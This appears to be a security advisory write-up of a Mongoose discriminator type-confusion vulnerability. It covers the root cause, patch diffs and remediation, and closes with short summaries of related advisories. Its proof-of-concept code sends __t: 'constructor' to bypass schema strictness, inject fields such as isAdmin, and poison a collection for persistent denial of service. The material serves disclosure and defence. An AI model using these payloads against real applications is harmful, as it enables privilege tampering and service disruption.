Nov 10, 2026·11 min read·2 visits
Mongoose prior to versions 6.13.12, 7.8.13, 8.24.7, and 9.11.4 fails to check whether a discriminator key is an own property on discriminator registry objects. Attackers supplying `__t: 'constructor'` can bypass schema strictness and validation in specific write operations or trigger unhandled TypeErrors during document instantiation and query hydration.
CVE-2026-125116 (GHSA-wr5m-5jph-8m96) is a type confusion vulnerability (CWE-843) in Mongoose, the MongoDB object modeling library for Node.js. When resolving discriminator models or schemas via user-supplied discriminator keys (defaulting to `__t`), Mongoose performs direct property indexing on plain JavaScript registry objects without verifying own-property ownership. Supplying inherited `Object.prototype` property names such as `'constructor'` causes Mongoose to resolve built-in functions rather than valid Mongoose constructors, resulting in unhandled runtime exceptions, schema validation bypasses, and persistent collection query denial of service.
Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.js that manages relationships between data, provides schema validation, and translates between objects in code and the representation of those objects in MongoDB. A core feature of Mongoose is discriminators, which provide a schema inheritance mechanism. Discriminators allow multiple models with overlapping schemas to be stored within the same underlying MongoDB collection, differentiated by a specific field known as the discriminator key (which defaults to __t).
In versions prior to 6.13.12, 7.8.13, 8.24.7, and 9.11.4, Mongoose stores registered discriminators in standard JavaScript objects ({}), such as Model.discriminators and schema.discriminators. When Mongoose processes documents during instantiation, querying, updating, or population, it inspects the document's discriminator key and looks up the corresponding model or schema by directly indexing the registry object.
Because standard JavaScript objects inherit properties and methods from Object.prototype, direct property lookups without own-property checks will resolve inherited properties such as constructor, toString, valueOf, and hasOwnProperty. This flaw is classified under CWE-843 (Access of Resource Using Incompatible Type / Type Confusion).
When an application passes untrusted input containing a discriminator key set to an inherited property name, Mongoose retrieves a native JavaScript function from Object.prototype instead of a valid Mongoose discriminator model or schema. Depending on the specific property name and execution path, this type confusion leads to unhandled TypeError crashes, bypass of schema casting and strict field filtering, or persistent poisoning of the MongoDB collection.
The root cause of CVE-2026-125116 is the use of plain JavaScript object literals with standard prototype chains as lookup dictionaries, combined with unguarded bracket notation indexing (registry[key]). In JavaScript, any object created via {} or new Object() has Object.prototype as its prototype. Consequently, evaluating obj['constructor'] returns [Function: Object], and evaluating obj['toString'] returns [Function: toString].
Across the Mongoose codebase, multiple internal functions check if a model or schema has discriminators configured and then immediately resolve the target discriminator using the value extracted from the user-supplied document or query filter. Because the resolved functions on Object.prototype are truthy values in JavaScript, conditional checks verifying whether the discriminator exists pass without error.
The behavior splits into two primary failure modes depending on which Object.prototype property is referenced. If the attacker supplies a non-constructor method such as __t: 'toString' or __t: 'hasOwnProperty', Mongoose attempts to either invoke it with the new operator (new Discriminator(doc)) or access Mongoose-specific properties on it (such as discriminator.schema.eachPath()). Because Object.prototype.toString is not a constructor and lacks a .schema property, the Node.js runtime immediately throws an unhandled TypeError.
If the attacker supplies __t: 'constructor', the lookup resolves to the built-in Object constructor ([Function: Object]). When Mongoose executes new Discriminator(doc, fields, skipId), it actually executes new Object(doc, fields, skipId). According to the ECMAScript specification, when new Object(value) is called with an argument that is already an object, it returns the argument object unchanged. Instead of returning a hydrated mongoose.Document instance equipped with validation hooks, internal state tracking ($__), and schema type casting, the constructor returns the raw, unvalidated user input object verbatim.
This unguarded lookup pattern was replicated across six distinct functional areas in Mongoose:
lib/model.js): Direct indexing of model.discriminators[doc[discriminatorKey]] during new Model(doc), Model.create(), and Model.insertOne().lib/queryHelpers.js): Direct indexing in createModel() when hydrating raw MongoDB documents returned by Model.find() or Model.findOne().lib/cast.js, lib/query.js, lib/helpers/query/castUpdate.js): Indexing schema.discriminators when casting filter conditions or update payloads.lib/schema/array.js, lib/schema/documentArray.js, lib/types/documentArray/methods/index.js): Resolving subdocument discriminators during .push() or .create() on embedded arrays.lib/helpers/populate/getModelsMapForPopulate.js): Resolving schematype.caster.discriminators during reference population.> [!NOTE]
> While this vulnerability involves Object.prototype properties, it is strictly a read-side prototype lookup flaw resulting in type confusion. It does not modify or pollute Object.prototype and is not a prototype pollution vulnerability.
To remediate the vulnerability across all affected code paths, the Mongoose maintainers introduced a centralized helper function, getDiscriminatorByKey, in lib/helpers/discriminator/getDiscriminatorByKey.js. This function verifies that the requested key is a direct own property of the discriminators object before returning the value.
'use strict';
/**
* Returns the discriminator registered under `key`, ignoring inherited properties
* like `constructor` or `toString`, because `key` may come from user data.
*
* @param {object} discriminators
* @param {string} key
* @api private
*/
module.exports = function getDiscriminatorByKey(discriminators, key) {
if (discriminators == null || key == null) {
return null;
}
// Ensures inherited properties on Object.prototype return null
return Object.hasOwn(discriminators, key) ? discriminators[key] : null;
};In the 8.x and 9.x release branches, the helper uses Object.hasOwn(discriminators, key). In the backported fixes for the 6.x and 7.x release branches, the helper uses Object.prototype.hasOwnProperty.call(discriminators, key) to maintain compatibility with older Node.js runtimes.
In lib/model.js, the Model.compile function previously resolved discriminators during model instantiation via direct bracket notation. The patch replaces this with a call to getDiscriminatorByKey:
@@ -5070,7 +5071,7 @@ Model.compile = function compile(name, schema, collectionName, connection, base)
}
// If discriminator key is set, use the discriminator instead (gh-7586)
- const Discriminator = model.discriminators[doc[discriminatorKey]] ||
+ const Discriminator = getDiscriminatorByKey(model.discriminators, doc[discriminatorKey]) ||
getDiscriminatorByValue(model.discriminators, doc[discriminatorKey]);
if (Discriminator != null) {
return new Discriminator(doc, fields, skipId);Similarly, in lib/helpers/query/castUpdate.js, when Mongoose casts an update operation on a model with discriminators, it inspects the query filter for the discriminator key. Prior to the fix, supplying { __t: 'constructor' } in the filter caused schema to be overwritten with [Function: Object], breaking update casting:
@@ -71,7 +72,7 @@ module.exports = function castUpdate(schema, obj, options, context, filter) {
schema.discriminators != null) {
const discriminatorValue = filter[schema.options.discriminatorKey];
const byValue = getDiscriminatorByValue(context.model.discriminators, discriminatorValue);
- schema = schema.discriminators[discriminatorValue] ||
+ schema = getDiscriminatorByKey(schema.discriminators, discriminatorValue) ||
byValue?.schema ||
schema;In lib/queryHelpers.js, the createModel function is responsible for instantiating Mongoose documents from raw BSON objects returned by the MongoDB driver during read queries. The patch secures this hydration path against poisoned documents stored in the database:
@@ -98,7 +99,7 @@ exports.createModel = function createModel(model, doc, fields, userProvidedField
const value = doc[key];
if (key && value && model.discriminators) {
- const discriminator = model.discriminators[value] || getDiscriminatorByValue(model.discriminators, value);
+ const discriminator = getDiscriminatorByKey(model.discriminators, value) || getDiscriminatorByValue(model.discriminators, value);
if (discriminator) {
const _fields = clone(userProvidedFields);
exports.applyPaths(_fields, discriminator.schema);The fix is comprehensive across the library's discriminator lookup points. By enforcing Object.hasOwn (or hasOwnProperty) inside getDiscriminatorByKey and auditing all references to .discriminators[, the patch prevents fallback to Object.prototype regardless of which property name is supplied in user input.
Exploiting CVE-2026-125116 requires an application to use Mongoose models configured with at least one .discriminator(), and to pass user-controlled input containing the discriminator key (by default __t) into Mongoose model, query, or array methods. No authentication is required at the library level, though network exploitation depends on how the target application exposes endpoints that accept JSON input.
When an application instantiates a Mongoose model using new Model(req.body), passing __t: 'constructor' causes the new operator to return the raw input object rather than a mongoose.Document instance.
const mongoose = require('mongoose');
const Base = mongoose.model('Base', new mongoose.Schema({
name: String,
age: Number
}));
Base.discriminator('Child', new mongoose.Schema({
extra: String
}));
const payload = {
name: 'attacker',
__t: 'constructor'
};
const doc = new Base(payload);
// doc is the raw input object, not a Mongoose Document
console.log(doc instanceof mongoose.Document); // false
console.log(doc === payload); // trueWhen the application subsequently attempts to call standard Mongoose document methods such as await doc.save() or await doc.validate(), Node.js throws TypeError: doc.save is not a function, crashing the request handler.
A more severe exploitation path occurs when an application uses Model.bulkWrite() with the { skipValidation: true } option. During bulkWrite processing for insertOne operations, Mongoose instantiates the model to cast values to their schema types and strip undeclared fields (enforcing strict: true).
Because new Base(doc) returns the raw doc unmodified when __t: 'constructor' is present, Mongoose skips both type casting and strict field stripping. When skipValidation: true is active, Mongoose does not attempt to invoke validation methods on the resulting object and passes the raw object directly to the underlying MongoDB driver for insertion.
const mongoose = require('mongoose');
async function exploit() {
await mongoose.connect('mongodb://localhost:27017/test_db');
const BaseSchema = new mongoose.Schema({
name: String,
age: Number
}, { strict: true });
const Base = mongoose.model('Base', BaseSchema);
Base.discriminator('Child', new mongoose.Schema({ extra: String }));
// Step 1: Bypass strict mode and type casting via bulkWrite
await Base.bulkWrite([{
insertOne: {
document: {
name: 'victim_record',
age: 'not_a_number', // Bypasses Number casting
isAdmin: true, // Bypasses strict: true filtering
internalToken: 'secret123', // Arbitrary field injection
__t: 'constructor'
}
}
}], { skipValidation: true });
// Step 2: Persistent Query Denial of Service
// Any subsequent query hydrating this document crashes
await Base.find();
// Throws: TypeError: Cannot read properties of undefined (reading 'eachPath')
}Once this document is persisted in MongoDB with __t: 'constructor', the collection is poisoned. Whenever any user or background process executes a read query (such as Base.find() or Base.findOne()) that matches the poisoned record, Mongoose attempts to hydrate the document via createModel(). In createModel(), model.discriminators['constructor'] resolves to Object, and Mongoose attempts to call exports.applyPaths(_fields, discriminator.schema). Because Object.schema is undefined, applyPaths crashes trying to read schema.eachPath, rendering the collection unreadable through Mongoose until the offending record is manually deleted using the raw MongoDB driver.
CVE-2026-125116 is rated at a CVSS v3.1 base score of 4.8 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L. The Attack Complexity is rated as High (AC:H) because exploitation requires the target Mongoose model to have discriminators configured, and achieving schema bypass requires specific operational patterns such as bulkWrite with skipValidation: true or raw document insertion.
The integrity impact (I:L) stems from the bypass of Mongoose's schema enforcement. Applications rely on Mongoose schemas with strict: true (the default setting) to act as an allowlist filter, stripping unexpected properties from user input before database persistence, and casting primitive types (such as converting strings to numbers or booleans). By supplying __t: 'constructor' in vulnerable write flows, an attacker can inject arbitrary uncast fields (such as privilege flags like role or isAdmin) directly into the MongoDB collection.
The availability impact (A:L) manifests in two ways. First, single-request denial of service occurs when unhandled TypeError exceptions are thrown during model instantiation, array .push() operations, or query casting. In Node.js applications without proper error-handling middleware or process supervision, an unhandled promise rejection or uncaught exception will terminate the Node.js process.
Second, if a document containing __t: 'constructor' (or another Object.prototype property name) is written to the database, it causes a persistent denial of service for all Mongoose queries reading that document. Standard read operations across the application will repeatedly fail with TypeError: Cannot read properties of undefined (reading 'eachPath'). As of current threat intelligence data, the EPSS score is 0.00339 (27.55th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
The primary remediation is to upgrade the mongoose npm package to a patched release that incorporates the getDiscriminatorByKey own-property check. Maintainers have released patched versions across all active major release trains:
For environments where an immediate dependency upgrade cannot be deployed, security teams should implement input validation middleware to inspect incoming request bodies and query parameters. Specifically, applications should strip or reject any discriminator key field (default __t, or any custom key defined via schema.options.discriminatorKey) if its value matches a property on Object.prototype or is not an explicitly expected discriminator name.
// Express middleware workaround to sanitize discriminator keys
const ALLOWED_DISCRIMINATORS = new Set(['ChildModelA', 'ChildModelB']);
function sanitizeDiscriminatorKey(obj, key = '__t') {
if (obj && typeof obj === 'object') {
if (key in obj && !ALLOWED_DISCRIMINATORS.has(obj[key])) {
delete obj[key];
}
for (const k of Object.keys(obj)) {
if (typeof obj[k] === 'object') {
sanitizeDiscriminatorKey(obj[k], key);
}
}
}
}Additionally, developers should audit their codebase for uses of Model.bulkWrite() where { skipValidation: true } is enabled, ensuring that user-controlled payloads are never passed directly into insertOne or updateOne descriptors without prior schema validation.
If an application is already experiencing persistent query crashes due to poisoned documents in MongoDB, administrators must connect using mongosh or the native MongoDB driver (bypassing Mongoose hydration) to locate and remove the corrupted records:
// Execute in mongosh to remove poisoned records
db.collection_name.deleteMany({
__t: {
$in: [
"constructor",
"toString",
"valueOf",
"hasOwnProperty",
"isPrototypeOf",
"propertyIsEnumerable",
"toLocaleString",
"__proto__"
]
}
});CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
mongoose Automattic | < 6.13.12 | 6.13.12 |
mongoose Automattic | >= 7.0.0, < 7.8.13 | 7.8.13 |
mongoose Automattic | >= 8.0.0, < 8.24.7 | 8.24.7 |
mongoose Automattic | >= 9.0.0, < 9.11.4 | 9.11.4 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-125116 / GHSA-wr5m-5jph-8m96 |
| Weakness Class | CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') |
| CVSS v3.1 Score | 4.8 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| EPSS Score | 0.34% (27.55th Percentile) |
| Attack Vector | Network (Untrusted JSON input controlling Mongoose discriminator keys) |
| Impact | Schema Validation & Strictness Bypass, Request DoS, Persistent Query DoS |
| Exploit Status | Public Proof-of-Concept (PoC) Available |
| CISA KEV Status | Not Listed |
The software allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
A flaw in Mongoose's query condition casting pipeline causes the `sanitizeFilter` configuration option to be silently ignored when defined at the connection level via `mongoose.connect()` or `mongoose.createConnection()`. Because internal query methods inspect `Connection.options` rather than `Connection.config`, applications relying on connection-scoped filter sanitization remain vulnerable to NoSQL query selector injection (CWE-943), permitting authentication bypass and unauthorized data access across Mongoose versions 6.x through 9.x.
CVE-2026-125110 is a path canonicalization mismatch vulnerability in Rack (specifically within the Rack::Static middleware component). When serving static files, Rack normalizes the requested URL path to resolve the physical file on disk, but evaluates configured path-specific header rules against an unnormalized, raw path that has only undergone URL percent-decoding. Unauthenticated remote attackers can exploit this discrepancy by injecting raw or percent-encoded dot-segments into HTTP requests, causing Rack to serve restricted static assets without their intended security headers.
CVE-2026-118776 (also tracked as GHSA-2vgq-wchc-25w7) is an improper input and integrity check validation vulnerability affecting the node-forge cryptographic library prior to version 1.4.1. In vulnerable versions, the PKCS#7 unpadding implementations for Cipher Block Chaining (CBC) and Electronic Codebook (ECB) modes only examined the final byte of the decrypted buffer and permitted padding counts up to four times the cipher block size. This defect allowed malformed ciphertexts containing zero-length padding, oversized padding values, or mismatched preceding padding bytes to pass validation, resulting in silent plaintext truncation of up to four blocks and integrity verification bypass in applications relying on unpadding success.
CVE-2026-118774 (GHSA-9wg5-mj3p-v49q) is an improper cryptographic signature verification vulnerability (CWE-347) in node-forge versions prior to 1.4.1. When verifying an X.509 subordinate certificate via certificate.verify(child) or verifyCertificateChain(), the library erroneously selects the RSA padding scheme (e.g., PKCS#1 v1.5 vs. RSASSA-PSS) and RSASSA-PSS parameters from the issuer certificate rather than from the child certificate being verified. This enables an attacker to relabel a PKCS#1 v1.5-signed certificate as an RSASSA-PSS certificate without invalidating the signature check, bypassing downstream security policies that mandate RSASSA-PSS.
CVE-2026-118670 (GHSA-xwgp-w3pj-q5h3) is a high-severity DOM-based Cross-Site Scripting (XSS) vulnerability in OHIF Viewers affecting the dicom-pdf extension module. When processing DICOM Encapsulated Document objects, the viewer extracts the untrusted MIMETypeOfEncapsulatedDocument attribute (tag 0042,0012) and uses it directly to instantiate an in-memory Blob. This Blob is then converted to a same-origin Object URL and embedded into the document via an HTML <object> element. Because browsers prioritize the resource's underlying MIME type over the <object> element's type attribute, an attacker who supplies a crafted DICOM file with a MIME type such as text/html can execute arbitrary JavaScript within the application's origin, compromising session tokens, local storage, and Patient Health Information (PHI).
A Denial of Service (DoS) vulnerability exists in the web display module (urwid/display/web.py) of the Urwid console user interface library for Python in versions prior to 4.0.7. The handle_short_request() function unconditionally encodes HTTP POST input as ASCII without exception handling and opens a FIFO pipe file descriptor without a guaranteed cleanup block. Submitting non-ASCII characters triggers an unhandled UnicodeEncodeError that terminates CGI request processing and leaks the open file descriptor. Additionally, the screen update polling routine decodes Unix domain socket streams iteratively as UTF-8 without exception handling or deterministic socket closure, enabling uncaught UnicodeDecodeError exceptions and socket leaks.